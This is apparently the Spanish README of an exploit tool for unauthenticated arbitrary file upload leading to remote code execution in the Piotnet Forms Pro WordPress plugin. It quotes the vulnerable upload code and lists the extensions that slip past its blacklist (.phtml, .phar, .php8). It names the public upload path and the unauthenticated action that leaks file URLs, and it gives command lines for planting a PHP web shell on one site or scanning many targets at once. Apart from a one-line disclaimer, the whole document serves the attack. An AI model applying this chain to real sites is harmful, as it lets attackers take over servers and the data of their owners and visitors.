
Piotnet Forms Pro <= 2.1.40 - Subida de archivos arbitraria no autenticada → RCE
La vulnerabilidad se origina en una validación inadecuada del tipo de archivo en la función piotnetforms_ajax_form_builder. El plugin emplea una lista negra de extensiones incompleta que solo bloquea php, phpt, php5, php7 y exe, mientras permite alternativas peligrosas como .phtml o .phar.
El manejador AJAX se registra sin ningún requisito de autenticación:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
La validación de archivos se basa únicamente en una lista negra de extensiones incompleta, sin verificación de tipo MIME ni de bytes mágicos:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
El directorio de subida contiene solo un index.html vacío para evitar el listado de directorios, sin un .htaccess que bloquee la ejecución de PHP. Los archivos subidos quedan accesibles públicamente en:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
La URL del archivo se puede recuperar sin autenticación mediante la acción AJAX piotnetforms_export_form_submission (también nopriv), completando así la cadena completa de RCE no autenticado.
Este es el mismo error de copiar y pegar presente en CVE-2026-4885: ambos plugins comparten un código idéntico de manejo de subida vulnerable del mismo desarrollador.
Modo interactivo:
python3 shadow.py
Objetivo único:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
Escaneo masivo:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
Opciones de CLI:
-u, --url - URL del objetivo-f, --file - Archivo de objetivos (uno por línea)-s, --shell - Shell PHP personalizada (GIF89a antepuesto automáticamente)-t, --threads - Hilos concurrentes (predeterminado: 5)-h, --help - Muestra la ayudapiotnetforms_export_form_submission (no autenticado)shell.txt.php .phpt .php5 .php7 .exe
Extensiones de bypass: .phtml .phar .shtml .php8
pip install httpx
La herramienta está destinada exclusivamente a pruebas de seguridad autorizadas y fines educativos. Las pruebas no autorizadas en sistemas están prohibidas.